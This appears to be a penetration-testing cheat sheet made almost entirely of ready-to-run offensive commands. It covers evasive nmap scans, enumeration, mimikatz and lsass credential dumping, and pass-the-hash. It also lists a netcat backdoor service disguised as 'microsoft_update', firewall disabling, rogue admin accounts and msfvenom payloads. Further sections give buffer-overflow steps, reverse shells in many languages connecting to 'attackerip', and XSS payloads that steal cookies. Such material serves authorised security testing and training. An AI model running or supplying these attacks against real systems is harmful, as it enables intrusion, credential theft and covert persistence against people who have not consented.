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Pentest Handy Tips and Tricks.


Other Parts

Nmap Full Web Vulnerable Scan

cd /usr/share/nmap/scripts/
wget http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz && tar xzf nmap_nse_vulscan-2.0.tar.gz
nmap -sS -sV --script=vulscan/vulscan.nse target
nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv target
nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv -p80 target
nmap -PN -sS -sV --script=vulscan –script-args vulscancorrelation=1 -p80 target
nmap -sV --script=vuln target
nmap -PN -sS -sV --script=all –script-args vulscancorrelation=1 target

Dirb Dir Bruteforce:

dirb http://IP:PORT /usr/share/dirb/wordlists/common.txt

Nikto web server scanner

nikto -C all -h http://IP

WordPress Scanner

git clone https://github.com/wpscanteam/wpscan.git && cd wpscan
./wpscan –url http://IP/ –enumerate p

HTTP Fingerprinting

wget http://www.net-square.com/_assets/httprint_linux_301.zip && unzip httprint_linux_301.zip
cd httprint_301/linux/
./httprint -h http://IP -s signatures.txt

SKIP Fish Scanner

skipfish -m 5 -LY -S /usr/share/skipfish/dictionaries/complete.wl -o ./skipfish2 -u http://IP

Nmap Ports Scan

1)decoy- masqurade nmap -D RND:10 [target] (Generates a random number of decoys)
1)decoy- masqurade nmap -D RND:10 [target] (Generates a random number of decoys)
3)data packed – like orginal one not scan packet
4)use auxiliary/scanner/ip/ipidseq for find zombie ip in network to use them to scan — nmap -sI ip target
5)nmap –source-port 53 target
nmap -sS -sV -D IP1,IP2,IP3,IP4,IP5 -f –mtu=24 –data-length=1337 -T2 target ( Randomize scan form diff IP)
nmap -Pn -T2 -sV –randomize-hosts IP1,IP2
nmap –script smb-check-vulns.nse -p445 target (using NSE scripts)
nmap -sU -P0 -T Aggressive -p123 target (Aggresive Scan T1-T5)
nmap -sA -PN -sN target
nmap -sS -sV -T5 -F -A -O target (version detection)
nmap -sU -v target (Udp)
nmap -sU -P0 (Udp)
nmap -sC (all scan default)

NC Scanning

nc -v -w 1 target -z 1-1000
for i in {101..102}; do nc -vv -n -w 1 192.168.56.$i 21-25 -z; done


us -H -msf -Iv -p 1-65535
us -H -mU -Iv -p 1-65535

-H resolve hostnames during the reporting phase
-m scan mode (sf - tcp, U - udp)
-Iv - verbose

Xprobe2 OS fingerprinting

xprobe2 -v -p tcp:80:open IP

Samba Enumeration

nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target

SNMP Enumeration

snmpget -v 1 -c public IP
snmpwalk -v 1 -c public IP
snmpbulkwalk -v2c -c public -Cn0 -Cr10 IP

Windows Useful cmds

net localgroup Users
net localgroup Administrators
search dir/s *.doc
system("start cmd.exe /k $cmd")
sc create microsoft_update binpath="cmd /K start c:\nc.exe -d ip-of-hacker port -e cmd.exe" start= auto error= ignore
/c C:\nc.exe -e c:\windows\system32\cmd.exe -vv 7779
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp For 32 bits
C:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp For 64 bits
Forward remote port to local address
plink.exe -P 22 -l root -pw "1234" -R 445: IP

Meterpreter portfwd

# https://www.offensive-security.com/metasploit-unleashed/portfwd/
# forward remote port to local address
meterpreter > portfwd add –l 3389 –p 3389 –r
kali > rdesktop

Enable RDP Access

reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
netsh firewall set service remoteadmin enable
netsh firewall set service remotedesktop enable

Turn Off Windows Firewall

netsh firewall set opmode disable

Meterpreter VNC\RDP

# https://www.offensive-security.com/metasploit-unleashed/enabling-remote-desktop/
run getgui -u admin -p 1234
run vnc -p 5043

Add New user in Windows

net user test 1234 /add
net localgroup administrators test /add

Mimikatz use

git clone https://github.com/gentilkiwi/mimikatz.git
sekurlsa::logonPasswords full

Passing the Hash

git clone https://github.com/byt3bl33d3r/pth-toolkit
pth-winexe -U hash //IP cmd


apt-get install freerdp-x11
xfreerdp /u:offsec /d:win2012 /pth:HASH /v:IP


meterpreter > run post/windows/gather/hashdump
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
msf exploit(psexec) > exploit
meterpreter > shell

Hashcat password cracking

hashcat -m 400 -a 0 hash /root/rockyou.txt

Netcat examples

c:> nc -l -p 31337
#nc 31337
c:> nc -v -w 30 -p 31337 -l < secret.txt
#nc -v -w 2 31337 > secret.txt
nc 80
GET / HTTP/1.1
User-Agent: Mozilla/4.0
Referrer: www.example.com

Window reverse shell

c:>nc -Lp 31337 -vv -e cmd.exe
nc 31337
c:>nc example.com 80 -e cmd.exe
nc -lp 80

nc -lp 31337 -e /bin/bash
nc 31337
nc -vv -r(random) -w(wait) 1 -z(i/o error) 1-1000

Find SUID\SGID root files

# Find SUID root files
find / -user root -perm -4000 -print

# Find SGID root files:
find / -group root -perm -2000 -print

# Find SUID and SGID files owned by anyone:
find / -perm -4000 -o -perm -2000 -print

# Find files that are not owned by any user:
find / -nouser -print

# Find files that are not owned by any group:
find / -nogroup -print

# Find symlinks and what they point to:
find / -type l -ls

Python shell

python -c 'import pty;pty.spawn("/bin/bash")'

Python\Ruby\PHP HTTP Server

python2 -m SimpleHTTPServer
python3 -m http.server
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot => Dir.pwd).start"
php -S

Get PIDs of process

fuser -nv tcp 80
fuser -k -n tcp 80

Hydra rdp Bruteforce

hydra -l admin -P /root/Desktop/passwords -S X.X.X.X rdp

Mount Remote Windows Share

smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw

Compiling Exploit in Kali

gcc -m32 -o output32 hello.c (32 bit)
gcc -m64 -o output hello.c (64 bit)

Compiling Windows Exploits on Kali

wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
wine mingw-get-setup.exe
select mingw32-base
cd /root/.wine/drive_c/windows
wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
cd /root/.wine/drive_c/MinGW/bin
wine gcc -o ability.exe /tmp/exploit.c -lwsock32
wine ability.exe

NASM Commands

nasm -f bin -o payload.bin payload.asm
nasm -f elf payload.asm; ld -o payload payload.o; objdump -d payload

SSH Pivoting

ssh -D -p 22 user@IP
Add socks4 1080 in /etc/proxychains.conf
proxychains commands target

SSH Pivoting from One Network to Another

ssh -D -p 22 user1@IP1
Add socks4 1080 in /etc/proxychains.conf
proxychains ssh -D -p 22 user1@IP2
Add socks4 1081 in /etc/proxychains.conf
proxychains commands target

Pivoting Using metasploit

route add X.X.X.X 1
use auxiliary/server/socks4a
proxychains msfcli windows/* PAYLOAD=windows/meterpreter/reverse_tcp LHOST=IP LPORT=443 RHOST=IP E


# https://www.offensive-security.com/metasploit-unleashed/pivoting/
meterpreter > ipconfig
IP Address  :
meterpreter > run autoroute -s
meterpreter > run autoroute -p      Session 1
meterpreter > Ctrl+Z
msf auxiliary(tcp) > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST
msf exploit(psexec) > exploit
meterpreter > ipconfig
IP Address  :

Exploit-DB search using CSV File

git clone https://github.com/offensive-security/exploit-database.git
cd exploit-database
./searchsploit –u
./searchsploit apache 2.2
./searchsploit "Linux Kernel"

cat files.csv | grep -i linux | grep -i kernel | grep -i local | grep -v dos | uniq | grep 2.6 | egrep "<|<=" | sort -k3

MSF Payloads

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> X > system.exe
msfvenom -p php/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 R > exploit.php
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -a x86 --platform win -f asp -o file.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e x86/shikata_ga_nai -b "\x00" -a x86 --platform win -f c

MSF Linux Reverse Meterpreter Binary

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -f elf -a x86 --platform linux -o shell

MSF Reverse Shell (C Shellcode)

msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=443 -b "\x00\x0a\x0d" -a x86 --platform win -f c

MSF Reverse Shell Python Script

msfvenom -p cmd/unix/reverse_python LHOST= LPORT=443 -o shell.py

MSF Reverse ASP Shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp -a x86 --platform win -o shell.asp

MSF Reverse Bash Shell

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.sh

MSF Reverse PHP Shell

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.php
add <?php at the beginning
perl -i~ -0777pe's/^/<?php \n/' shell.php

MSF Reverse Win Bin

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe -a x86 --platform win -o shell.exe

Linux Security Commands

# find programs with a set uid bit
find / -uid 0 -perm -4000

# find things that are world writable
find / -perm -o=w

# find names with dots and spaces, there shouldn’t be any
find / -name " " -print
find / -name ".." -print
find / -name ". " -print
find / -name " " -print

# find files that are not owned by anyone
find / -nouser

# look for files that are unlinked
lsof +L1

# get information about procceses with open ports
lsof -i

# look for weird things in arp
arp -a

# look at all accounts including AD
getent passwd

# look at all groups and membership including AD
getent group

# list crontabs for all users including AD
for user in $(getent passwd|cut -f1 -d:); do echo "### Crontabs for $user ####"; crontab -u $user -l; done

# generate random passwords
cat /dev/urandom| tr -dc ‘a-zA-Z0-9-_!@#$%^&*()_+{}|:<>?=|fold -w 12| head -n 4

# find all immutable files, there should not be any
find . | xargs -I file lsattr -a file 2>/dev/null | grep ‘^….i’

# fix immutable files
chattr -i file

Win Buffer Overflow Exploit Commands

msfvenom -p windows/shell_bind_tcp -a x86 --platform win -b "\x00" -f c
msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86 --platform win -e x86/shikata_ga_nai -b "\x00" -f c

\x00\x0a\x0d\x20                              For http request
\x00\x0a\x0d\x20\x1a\x2c\x2e\3a\x5c           Ending with (0\n\r_)

# Useful Commands:
pattern create
pattern offset (EIP Address)
pattern offset (ESP Address)
add garbage upto EIP value and add (JMP ESP address) in EIP . (ESP = shellcode )

!pvefindaddr pattern_create 5000
!pvefindaddr suggest
!pvefindaddr modules
!pvefindaddr nosafeseh

!mona config -set workingfolder C:\Mona\%p
!mona config -get workingfolder
!mona mod
!mona bytearray -b "\x00\x0a"
!mona pc 5000
!mona po EIP
!mona suggest

SEH - Structured Exception Handling

# https://en.wikipedia.org/wiki/Microsoft-specific_exception_handling_mechanisms#SEH
!mona suggest
!mona nosafeseh
nseh="\xeb\x06\x90\x90" (next seh chain)
iseh= !pvefindaddr p1 -n -o -i (POP POP RETRUN or POPr32,POPr32,RETN)


# https://en.wikipedia.org/wiki/Return-oriented_programming
# https://en.wikipedia.org/wiki/Data_Execution_Prevention
!mona modules
!mona ropfunc -m *.dll -cpb "\x00\x09\x0a"
!mona rop -m *.dll -cpb "\x00\x09\x0a" (auto suggest)

ASLR - Address space layout randomization

# https://en.wikipedia.org/wiki/Address_space_layout_randomization
!mona noaslr

EGG Hunter techniques

# https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/
# http://www.fuzzysecurity.com/tutorials/expDev/4.html
!mona jmp -r esp
!mona egg -t lxxl
\xeb\xc4 (jump backward -60)
!mona egg -t 'w00t'

GDB Debugger Commands

# Setting Breakpoint
break *_start

# Execute Next Instruction

# Continue Execution

# Data
checking 'REGISTERS' and 'MEMORY'

# Display Register Values: (Decimal,Binary,Hex)
print /d –> Decimal
print /t –> Binary
print /x –> Hex
O/P :
(gdb) print /d $eax
$17 = 13
(gdb) print /t $eax
$18 = 1101
(gdb) print /x $eax
$19 = 0xd

# Display values of specific memory locations
command : x/nyz (Examine)
n –> Number of fields to display ==>
y –> Format for output ==> c (character) , d (decimal) , x (Hexadecimal)
z –> Size of field to be displayed ==> b (byte) , h (halfword), w (word 32 Bit)

BASH Reverse Shell

bash -i >& /dev/tcp/X.X.X.X/443 0>&1

exec /bin/bash 0&0 2>&0
exec /bin/bash 0&0 2>&0

0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done
exec 5<>/dev/tcp/attackerip/4444

cat <&5 | while read line; do $line 2>&5 >&5; done # or:
while read line 0<&5; do $line 2>&5 >&5; done

/bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1
/bin/bash -i > /dev/tcp/X.X.X.X/443 0<&1 2>&1

PERL Reverse Shell

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

# for win platform
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
perl -e 'use Socket;$i="";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};

RUBY Reverse Shell

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

# for win platform
ruby -rsocket -e 'c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
ruby -rsocket -e 'f=TCPSocket.open("attackerip","443").to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

PYTHON Reverse Shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackerip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP Reverse Shell

php -r '$sock=fsockopen("attackerip",443);exec("/bin/sh -i <&3 >&3 2>&3");'

JAVA Reverse Shell

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/attackerip/443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])

NETCAT Reverse Shell

nc -e /bin/sh attackerip 4444
nc -e /bin/sh 443

# If the -e option is disabled, try this
# mknod backpipe p && nc attackerip 443 0<backpipe | /bin/bash 1>backpipe
/bin/sh | nc attackerip 443
rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4443 0/tmp/

# If you have the wrong version of netcat installed, try
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip >/tmp/f

TELNET Reverse Shell

# If netcat is not available or /dev/tcp
mknod backpipe p && telnet attackerip 443 0<backpipe | /bin/bash 1>backpipe

XTERM Reverse Shell

# Start an open X Server on your system (:1 – which listens on TCP port 6001)
apt-get install xnest
Xnest :1

# Then remember to authorise on your system the target IP to connect to you
xterm -display

# Run this INSIDE the spawned xterm on the open X Server
xhost +targetip

# Then on the target connect back to the your X Server
xterm -display attackerip:1
/usr/openwin/bin/xterm -display attackerip:1
$ DISPLAY=attackerip:0 xterm

XSS Cheat Codes

("< iframes > src=http://IP:PORT </ iframes >")




<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"">
<IMG SRC=&amp;amp;#106;&amp;amp;#97;&amp;amp;#118;&amp;amp;#97;&amp;amp;#115;&amp;amp;#99;&amp;amp;#114;&amp;amp;#105;&amp;amp;#112;&amp;amp;#116;&amp;amp;#58;&amp;amp;#97;&amp;amp;#108;&amp;amp;#101;&amp;amp;#114;&amp;amp;#116;&amp;amp;#40;&amp;amp;#39;&amp;amp;#88;&amp;amp;#83;&amp;amp;#83;&amp;amp;#39;&amp;amp;#41;>

<IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041>
<IMG SRC="jav ascript:alert('XSS');">

perl -e 'print "<IMG SRC=javascript:alert(\"XSS\")>";' > out

<BODY onload!#$%&amp;()*~+-_.,:;?@[/|\]^`=alert("XSS")>

(">< iframes http://google.com < iframes >)

<BODY BACKGROUND="javascript:alert('XSS')">
<FRAMESET><FRAME SRC=”javascript:alert('XSS');"></FRAMESET>
"><script >alert(document.cookie)</script>
<img src=asdf onerror=alert(document.cookie)>

SSH Over SCTP (With Socat)

# on remote server
# assuming you want the SCTP socket to listen on port 80/SCTP and sshd is on 22/TCP
$ socat SCTP-LISTEN:80,fork TCP:localhost:22

# localhost
# replace SERVER_IP with IP of listening server, and 80 with whatever port the SCTP listener is on :)
$ socat TCP-LISTEN:1337,fork SCTP:SERVER_IP:80

# create socks proxy
# replace username and -p port value as needed...
$ ssh -lusername localhost -D 8080 -p 1337

Install Metasploit Community Edition in Kali 2.0

# github urls

wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run && chmod
+x metasploit-latest-linux-x64-installer.run && ./metasploit-latest-linux-x64-installer.run

# create user
$ /opt/metasploit/createuser
[*] Please enter a username: root
[*] Creating user 'root' with password 'LsRRV[I^5' ...

# activate your metasploit license

# update metasploite
$ /opt/metasploit/app/msfupdate

# use msfconsole
$ /opt/metasploit/app/msfconsole